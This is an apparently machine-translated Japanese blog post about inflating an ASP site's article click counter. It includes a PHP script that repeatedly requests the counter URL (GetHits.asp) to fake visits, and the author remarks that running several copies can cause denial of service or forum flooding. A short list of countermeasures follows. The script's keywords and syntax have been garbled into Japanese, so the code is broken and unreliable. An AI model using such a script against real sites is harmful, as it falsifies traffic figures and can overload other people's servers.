今日偶然、静的ページでカウンタを更新できるWebサイトを見つけて、jsを使用して実行する必要があると思い、ソースコードを開くと、
<div align=center><SPAN class=Article_tdbgall>
となっていました。
著者:不明 記事出典:Meidi.Net
クリック数:
<スクリプト言語='javascript' src='/Article/GetHits.asp?ArticleID=759'></script>
更新日:2005-5-27</SPAN>
</div>
クリック数の後には処理用の ASP ファイルが表示されるので、このファイルを開いて見てみましょう。
document.write('210');
そうです、ArticleID と処理を行うのは GetHists.asp ファイルです。結果を抽出して回数を出力します: document .write('number of time')。これは静的ページで直接参照できます。
悪い奴は結局悪い奴なので、どうすれば手っ取り早くクリック数を増やすことができるだろうかと考えました。手動更新はあまり役に立ちません。このファイルに自動的にアクセスするための PHP プログラムをすぐに作成してください。
PHP コードは次のとおりです:
<?php
/* access_url.php */
define(SUM, 1000); //必要な訪問数
define(L_TIME, 1000); //スクリプトの実行時間を強制する
define(S_TIME, 1); //各訪問間の睡眠時間
$url = " http://www.xxx.com/Article/GetHits.asp?ArticleID=759 " //アクセスするアドレス
set_time_limit(L_TIME);
//指定された URL 関数 knowsky.com にアクセスします。
関数 access_url($url)
{
if ($url=='') は false を返します。
$fp = fopen($url, 'r') または exit('URL を開くのに失敗しました!');
if ($fp) {
while (!feof($fp)) {
$file = fgets($fp);
echo $file."n<p> </p>n";
}
unset($file);
}
}
//テスト
for ($i=0; $i<SUM; $i++) {
アクセス URL($url);
スリープ(S_TIME);
}
?>
上記プログラムを実行すると、指定したURLアドレスに継続的にアクセスが発生し、当然アクセス数が増え続けてフラッディング効果が得られます。トラフィックが大きく、その実行に複数のプログラムが使用されている場合、サービス妨害 (DoS) 効果が発生しやすくなります。相手が予防策を講じてコードを修正してフォーラムに投稿すると、フォーラムに洪水を起こす効果が得られやすいです。
防止方法:
1. コード内でセッション メカニズムを使用します。ユーザーがコンテンツを送信すると、セッション ID が生成され、送信済みであるかどうかが判断されます。
2. ユーザーが送信した後、ユーザーが指定された時間内に再度送信した場合、それ以上の送信は許可されません。
3. ユーザーがコンテンツを送信した後、ユーザーが再度送信する場合は、クライアントに Cookie があるかどうかを確認して、送信が許可されているかどうかを判断します。
他にも方法はたくさんありますので、検索したり、想像力を働かせてより良い方法を試してみてください。